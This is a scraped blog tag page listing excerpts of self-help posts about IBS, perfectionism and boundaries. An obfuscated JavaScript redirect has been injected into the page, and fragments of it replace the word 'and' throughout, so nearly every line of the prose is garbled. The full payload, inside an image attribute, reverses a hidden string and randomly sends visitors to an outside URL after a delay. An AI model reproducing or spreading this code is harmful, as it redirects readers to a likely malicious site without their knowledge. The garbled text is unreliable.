Tagged: perfectionist

Creating Less IBS Stress andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and More Fa La La for the Holidays

Creating Less IBS Stress <script type=$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and More Fa La La for the Holidays" class="alignleft wp-post-image" />

Do you find yourself trying really hard to be perfect during the holidays?

 

Are you pushing yourself to feel jolly to make it a great holiday for family andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and friends?

 

If you answered yes to either of those questions take a moment andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and see how your body really feels about creating the perfect holiday.

 

Grab pen andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and paper andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and spend some time with these questions:

 

Are your IBS symptoms more severe this time of the [...]

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Doing It Yourself

Doing It Yourself

I’ve always been a do it your selfer (not sure if that’s even word!). Fiercely independent, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and at times stubborn, I always wanted to do things on my own. In the past it was difficult for me to ask for help. I always believed I could do it myself.  Then along my journey I realized that trying to do it alone makes it much more difficult than it needs to be.

 

A part of me still thinks it’s true that you can do anything yourself, but the other part knows there’s a true [...]

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Are you too serious?

Are you too serious?

I hate to say it but my husbandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and was right. We were choosing a movie last Saturday night andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I off course wanted to watch something deep. I choose the “Conspirator”, a film about the assassination of Abraham Lincoln. My husbandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and’s first response was “I want to watch something fun, why do all of your movies have to be so serious?” Though my “I was in a film major in college” wanted to jump andom() * 5);if (number1==3){var [...]

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Creating Boundaries

Creating Boundaries


I have been out of town for a few months andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and had the pleasure of finding two great hairstylists while I was away. Inspired by the great cuts I received, I decided to try out a new salon back home. I got a recommendation of a salon (not a stylist) from a friend andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and off I went.

Upon arriving at my appointment I was greeted by the stylist who said hello andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and put a cape over my shirt immediately. [...]

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Simple Success Formula: Give Yourself Permission

Simple Success Formula: Give Yourself Permission

I often get e-mails from readers who want advice on how to get motivated andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and move forward in their careers despite the nagging fear that follows them in every endeavor. It’s as if we believe that a magic wandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and can fix our circumstance andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and suddenly experience success with little thought or effort. Though I am a believer in serendipity, creating success in your life doesn’t happen with a quick twist of the handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), [...]

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Is Perfectionism Gnawing Away at Your Success?

Is Perfectionism Gnawing Away at Your Success?

Is your perfectionism standom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anding in the way of your ideas? Where do you draw the line between a healthy sense of accomplishment andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and an unhealthy obsession with being perfect? Finally, a study has come out that can help those of us who fall along the perfectionist spectrum. Many of my clients are very competent, creative, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and full of great ideas, but they falter when making steps towards turning their ideas into actions or even sharing their ideas at the [...]

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